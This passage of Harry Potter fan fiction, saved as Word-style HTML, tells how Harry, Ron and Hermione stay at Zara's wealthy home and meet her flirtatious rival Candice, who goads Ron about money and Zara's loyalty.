style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 13&#8212;Zara&#8217;s Rival</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Around\nnine thirty Ron and Harry were in the bathroom brushing their teeth, the\nbathroom door was open letting out the steam from the shower that had been\nalready used twice that morning.&nbsp;\nHermione walked in carrying her toothbrush and toothpaste in her hand\nand bag was slung over her shoulder.&nbsp; She\nnoticed the boys.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nsorry, I&#8217;ll wait my turn.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nalright Herm,&#8221; Ron said. &#8220;We were just brushing our teeth, nothing to private.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nI already took care of that earlier&#8221; Harry said.&nbsp; His hair was still slightly damp from the\nshower he had recently taken.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI don&#8217;t know about you two but I don&#8217;t like people standing around watching me\nbrush my teeth.&#8221; She sat her toothbrush, paste and bag down on the counter next\nto the sink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nwere just about done anyway.&#8221; Harry said with a smile setting a towel on the\nrack, he moved out of the way of the sink, and Hermione took his place.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nuntwisted the lid to her paste and put a good amount of the minty smelling\ntoothpaste on to her brush.&nbsp; Reaching up\nshe turned on the tap and water poured out of the gold fixture.&nbsp; Hermione held her toothbrush under the\nrunning water for a moment, then put it in her mouth beginning the process of\ncleaning her teeth.&nbsp; She looked in the\nmirror and saw her friends staring back at her.&nbsp;\nShe immediately spit into the sink &#8220;hey, that was the hint for you two\nto leave.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Harry didn&#8217;t say anything; they just watched her through the mirror.&nbsp; <i style="mso-bidi-font-style:normal">It was\nso easy to irritate her,</i> Harry thought laughing to himself.&nbsp; He watched her rinse her mouth out with the\nwater completing the tooth cleaning.&nbsp; She\npulled the towel from the rack and wiped her mouth dry.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay\nnow if you guys don&#8217;t mind I would like to take a shower,&#8221; she said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No\nI don&#8217;t mind at all, go right ahead.&#8221; Harry smirked not moving, he could hear\nRon trying to suppress his laughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nmeans you guys have to leave&#8221; Hermione started pushing Ron out the door. She\nturned back facing Harry &#8220;okay come on you too. Out, out.&#8221;&nbsp; She saw Harry make a little pouty face, she\njust shook her head back and forth trying not to laugh.&nbsp; She walked right over to him and started\npushing him from the bathroom.&nbsp; She\nnoticed he was struggling a little trying to tell her he did not want to\nleave.&nbsp; But she managed to push him out\nof the bathroom.&nbsp; &#8220;See you in a bit.&#8221; She\nclosed the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Harry stood staring at the closed door, they heard the shower turn on.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ndo realize that she&#8217;s naked in there.&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstill staring straight ahead shifted his eyes glaring in Ron&#8217;s direction, &#8220;I\nknow that, and you stop thinking about her being naked.&#8221; He stared straight\nagain.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nheard footsteps running up the stairs, Ron and Harry turned to find Zara coming\nup the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There\nyou guys are, breakfast is ready&#8221; she said with a pleasant smile. Zara looked\naround for Hermione. &#8220;Where&#8217;s Hermione?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked down at Zara, &#8220;she&#8217;s naked&#8212;um I mean taking a shower.&#8221; He felt the\nredness rising in his cheeks realizing what he said.&nbsp; It wasn&#8217;t any easier on his ego when he heard\nZara burst into laughter at hearing it.&nbsp;\nHe didn&#8217;t even want to look at Harry for he knew his friend didn&#8217;t like\nthat outburst, because it meant he was still thinking about his friend&#8217;s\ngirlfriend being naked.&nbsp; This morning was\nnot going well for him at all, Ron trying to retain some dignity started down\nthe stairs to breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Harry followed Zara into the dinning room where they found laid before them\na different assortment of breakfast foods.&nbsp;\nThey were stunned, Ron felt he was in heaven. It was just like at\nschool.&nbsp; Boy all that food looked really\ngood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI didn&#8217;t know what you would like so I had our own chef make an assortment of\nfoods for you, that way you can choose what you want. We have Belgian Waffles.&#8221;\nZara pointed to a stack of large, square shaped waffles. Two bowls of fruit,\nstrawberries or blueberries and a can of whipped cream for the toppings.\n&#8220;Chef&#8217;s pancakes are good too.&#8221; She said pointing to the tray of silver dollar\npancakes next to a pitcher of syrup. Also sitting on the table was scrambled eggs,\nbacon, ham, English muffins, bagels plain and blueberry with cream cheese on\nthe side. A couple of items looked really appetizing such as the croissants,\ncheese danishes.&nbsp; And finally there were\nthree pitchers of juice on the table, orange, cranberry, and grapefruit.&nbsp; &#8220;I know it&#8217;s a lot of food, but we always\ngive what&#8217;s left over to the local humanity shelter.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nfew minutes after Ron, Zara and Harry sat down eating their breakfast Hermione\nwalked into the dinning room. Her jaw dropped at the large quantity of food on\nthe table.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wow\nyou really didn&#8217;t have to go through all this trouble for us Zara.&#8221; Hermione\nlooked at her with a tiny grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow but I wanted your first breakfast in my home to be memorable.&#8221; Zara said\nwith a smile lifting her glass of orange juice to her lips.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ngrabbed a plate and started helping herself to some of the goodies on the\ntable.&nbsp; Mrs. Reynolds came into the\ndinning room as Hermione had just sat down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good\nmorning,&#8221; Mrs. Reynolds smiled at her guests, &#8220;how did you all sleep?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nall answered at about the same time before Mrs. Reynolds started talking again,\n&#8220;Oh Zara, Candice is coming over I need you to show her what she&#8217;ll be doing in\nthe club over this vacation.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara&#8217;s\nfork dropped hitting her plate with a loud clang, &#8220;Candice, what is she doing\nat the club ma?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ndidn&#8217;t I tell you, I need some extra help and I hired her for the vacations.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ma,\nshe can&#8217;t work in the club. She&#8217;s my age.&#8221; Zara&#8217;s was trying to hide her\ncontempt, and she wasn&#8217;t doing a very good job.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure\nshe can, just not serving drinks or getting anywhere near the bar.&nbsp; She can clean and sort files, do office work.\nWhich is what I need since you will be busy with your guests.&#8221; Mrs. Reynolds\nsaid with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nma, Candice?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara.&#8221;\nMrs. Reynolds voice was stern.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright,\nfine.&#8221; Zara said through gritted teeth and Mrs. Reynolds walked out of the\ndinning room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nturned to find Ron staring at her with a question in his eyes. &#8220;Candice to me\nis what Draco Malfoy is to you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded in understanding &#8220;ah, I see, is she a witch?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyeah, I don&#8217;t know where she transferred to when Salemston ended.&nbsp; But I hate her so much.&#8221; She squeezed her\nfist tight, making all the color in her hand vanish and turn white. A pitcher\non the table shattered, making everyone jump back. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Zara whoa, relax there.&nbsp; It can&#8217;t be that bad?&#8221; Ron said putting his\nhands on her shoulders, trying to settle her down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara&#8217;s\ntemper settled, &#8220;I&#8217;m sorry guys when I get really mad I tend to break\nthings.&#8221;&nbsp; She looked up at all of them\nknowing that they understood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;At\nleast you didn&#8217;t inflate someone.&#8221; Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No\nI just shatter glass objects.&#8221; Zara said looking down at her plate which now\nhad pieces of glass on it.&nbsp; &#8220;You guys don&#8217;t\nunderstand about Candice. I mean she does everything just to ruin my life.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\nnow, is she really all that bad?&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\njust wait.&nbsp; You&#8217;ll see what I mean.&#8221; Zara\nsaid as a maid rushed into the dinning room.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthought I heard a crash in here?&#8221; The maid looked at everyone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nLucy I dropped a pitcher on the table, I&#8217;m sorry.&#8221; Zara apologized.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Lucy\njust nodded as Zara and her friends stood up from the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI need to wait for Candice to get here. Zara headed into the living room with\nRon, Harry and Hermione following after her.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ngrabbed Ron&#8217;s arm and pulled him back a bit, &#8220;you seem to be feeling a little\nbetter today.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nwill the initial shock of it all has finally wore off.&#8221; He said with a smile,\n&#8220;who cares if she has a wealthy lifestyle. She likes me and that&#8217;s what matters\nright?&#8221; Ron grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Right&#8221;\nHermione said with a smile and walked away from him, if she would have turned\naround to look at him she would have noticed Ron&#8217;s grin fading. &nbsp;He still had a problem with all of this but he\nwasn&#8217;t going to show it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ndoor chimes wrung and a few moments later a short blonde young woman walked\ninto the living room.&nbsp; &#8220;Barry your butler\nsaid I would find you in here Zara.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nglared, which led Ron, Harry and Hermione to believe that this was Candice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nlooked at all of them not recognizing them, &#8220;oh Zara I was hoping that Enrique\nwould be coming home with you this year, who are these people?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nwas not going to introduce them to Candice of all people, she stood with her\narms folded across her chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Not\ngetting the introduction she wanted, Candice turned to Zara&#8217;s new friends with\na smile. &#8220;Forgive my bad manners, I&#8217;m Candice Laurel.&#8221; She said with a\nsmile.&nbsp; &#8220;And you three are?&#8221; She held her\nhand out to shake Zara&#8217;s friend&#8217;s hands.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nWeasley.&#8221; He said shaking her hand politely. He could see Zara twitch when he\ntook Candice&#8217;s hand even though he dropped it immediately.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione\nGranger.&#8221; She said lightly shaking Candice&#8217;s hand, she looked over at Zara who\nwas staring at Candice with complete contempt. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\nPotter&#8221; He said and he shook her hand. Candice&#8217;s face light up. <i style="mso-bidi-font-style:normal">Oh no</i> he thought to himself, another one\nlike that Jewel. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nheld on to his hand, &#8220;ooh the celebrity. How neat.&nbsp; How did a famous person such as yourself come\nto be friends with the likes of Zara Reynolds?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;re\nin the same house,&#8221; Harry said trying to pull his hand from Candice&#8217;s but she\nwasn&#8217;t releasing him, <i style="mso-bidi-font-style:normal">wow she&#8217;s got a\ngrip</i> he thought to himself.&nbsp; He could\nsee Hermione through the corner of his eye, and she did not like this at all.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah,\nso tell me are you single?&#8221; Candice looked up at him, staring deeply into his\neyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ncouldn&#8217;t take it, she reached over and pulled Harry&#8217;s hand from Candice&#8217;s\nglaring at her, &#8220;he most certainly is not.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nturned smiling at Hermione he leaned in closer and whispered something in her\near that Candice couldn&#8217;t hear.&nbsp; He took\nher hand and they stepped away from Candice near the wall, Hermione was still\nglaring at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nI was only asking,&#8221; Candice glanced down at her neatly sculpted fingernails\nwhich were a bright red color.&nbsp; &#8220;You\ndon&#8217;t have to throw a hissy fit?&#8221; Candice was sarcastic looking up at Hermione\nwho was a lot taller than her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstarted towards her but Harry puller her arm stopping her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione\nshe&#8217;s just trying to irritate you.&#8221; He said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nturned facing him, &#8220;yeah well she&#8217;s doing a good job.&#8221;&nbsp; Hermione looked back at Candice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\ndon&#8217;t pay any attention to her.&#8221; Harry wrapped his arms around her pulling her\ncloser, he lifted gentle fingers to her chin and tilted up for her to look at\nhim &#8220;pay attention to me instead.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nrolled his eyes he didn&#8217;t want to watch his friends get all mushy right now he\nturned looking at Zara who was obviously trying to control her temper.&nbsp;&nbsp; He moved over to her and draped and arm over\naround her.&nbsp; &#8220;Just relax, calm down.&#8221; He\nspoke in soothing tones into her ear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nnot that easy,&#8221; Zara said quietly.&nbsp;\n&#8220;Please what ever you do, don&#8217;t ever be alone with Candice Laurel.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\nout of curiosity, why not?&#8221; Ron hugged her to his side.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhave lost every one of my loves to her, she just targets them because they are\nwith me.&nbsp; She doesn&#8217;t really care about\nthem, Candice does that just to hurt me and make me suffer.&#8221; Zara looked at\nCandice who bent down to pet her cat Lovelace in a way that was giving everyone\na good view of her back end.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink I see what you mean.&#8221; Ron said he turned Zara to face him &#8220;you don&#8217;t have\nanything to worry about I&#8217;m not going anywhere, that Candice can turn on every\ncharm in the book and I won&#8217;t be swayed from you.&#8221; He bent pressing his lips\nsoftly to hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara\nI hate to interrupt a good make out session, but I really need to get to the\nclub and find out what I&#8217;m supposed to be doing. I have other things I need to\ndo today.&nbsp; So can we please get going.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nwho was very annoyed pulled away from Ron, &#8220;well I&#8217;ll just be an hour at the\nmost, you guys can stay here and lounge around until I get back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked over at Hermione and Harry who were involved in each other&#8217;s kisses and\nhe really didn&#8217;t want to stay there. &#8220;Zara can&#8217;t I just come with you, all\nthose two are going to do is be all kissy, kissy, and who knows what else.&nbsp; I&#8217;m gonna be so board.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione pulled away from each other, they wanted to go also.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nwanna come along too.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded agreeing with Harry, &#8220;and we can do something after you&#8217;re finished.\nThere&#8217;s a lot to see in this city.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nlet&#8217;s go then.&#8221; Zara smiled and they left the living room heading towards the\ngarage.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione decided to wait downstairs as Zara, Ron and Candice were in the\nupstairs in the office. Zara was showing Candice how to use the computer and to\nstore files and go through the inventory. Ron was leaning over Zara&#8217;s shoulder\nlooking at the screen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nyou use your fingers on that keypad?&#8221; He remembered Zara calling it that.&nbsp;&nbsp; &#8220;And the words just appear on the\nscreen.&nbsp; Neat.&#8221; He leaned over and\ntouched the screen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nlooked over at him and then down at Zara as Blade knocked on the open door and\ncame into the office.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nZara, Snake and I need to talk to you about a new procedure when we open tonight,\nwe want to make sure it alright.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nnodded &#8220;I&#8217;ll be right there,&#8221; she watched Blade back out of the room.&nbsp; Zara turned to Candice &#8220;don&#8217;t touch anything,\nI&#8217;ll be right back.&#8221; She glared, stood and left the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nlooked up at Ron who was interested in the computer screen, &#8220;so are you like\nZara&#8217;s boyfriend or something like that?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded &#8220;yeah, something like that&#8221; Ron was sarcastic.&nbsp; He stood up straight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou and her serious?&#8221; Candice asked tilting her head a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked right at her &#8220;very,&#8221; he smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nnodded, &#8220;I can see something different about you.&#8221; She put an index finger to\nher chin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyeah, what&#8217;s that?&#8221; Ron crossed his arms.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rising\nfrom her chair she stood right in front of Ron. &nbsp;Candice glanced into his eyes, down the length\nof his tall frame, and back up meeting his gaze again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nstepped back a bit knowing that this Candice was not trying to conceal the fact\nthat she was checking out what he had to offer a young woman.&nbsp; &#8220;Why are you looking at me like that?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\njust you&#8217;re a good looking guy and why would you want to spend time with Zara\nReynolds.&#8221; Candice was bitter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nnone of your business, I have known you what two seconds and already your\nflirting with me?&#8221; He was also bitter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\neyes narrowed, Candice was able to see inside his thoughts for a moment.&nbsp; She was going to be mean &#8220;I don&#8217;t see how you\naccept her?&nbsp; Since you could never\ncompare yourself with her high stature and wealth.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Even\nthough he would never hit a woman Ron felt like slapping her, his blood boiled.\n&#8220;Shut up, you don&#8217;t know anything you&#8217;re just a stupid witch.&#8221; He was very\nsensitive to the matters of money or lack there of.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nlaughed &#8220;oh insulting me won&#8217;t make your situation any better than it is\nnow.&nbsp; There are always lots of guys with\nmoney who like Zara, why would she even settle for you, maybe just to have some\nfun waiting for a real relationship. Oh yes and you&#8217;re probably a really good\nf&#8212;&#8221; She was cut short by Ron grabbing her upper arms almost painfully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shut\nit if you know what&#8217;s good for you.&#8221; Ron stared with contempt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nlaughed again, obviously not phased by his hold on her.&nbsp; &#8220;Alright, alright. I know when to be silent.&#8221;\nCandice had no intention of being quiet yet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlet go and he stepped back, glaring with absolute hate.&nbsp; He could see why Zara couldn&#8217;t stand this\ngirl.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nwill never be important to her&#8221; Candice said very seriously, &#8220;I can read her\nthoughts occasionally and she&#8217;s always looking for the better deal.&#8221;&nbsp; She pointed to the window &#8220;see what I mean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron went to the window and looked out, he\ncould see the whole dance floor more importantly he could see Zara talking to a\nfairly good looking guy, she was smiling up at him playing with his silk tie.&nbsp; He could feel his insides tying themselves in\nknots.&nbsp; Ron looked back at Candice who\nhad an I&#8212;told&#8212;you&#8212;so look.</p>\n\n<p class="MsoNormal" 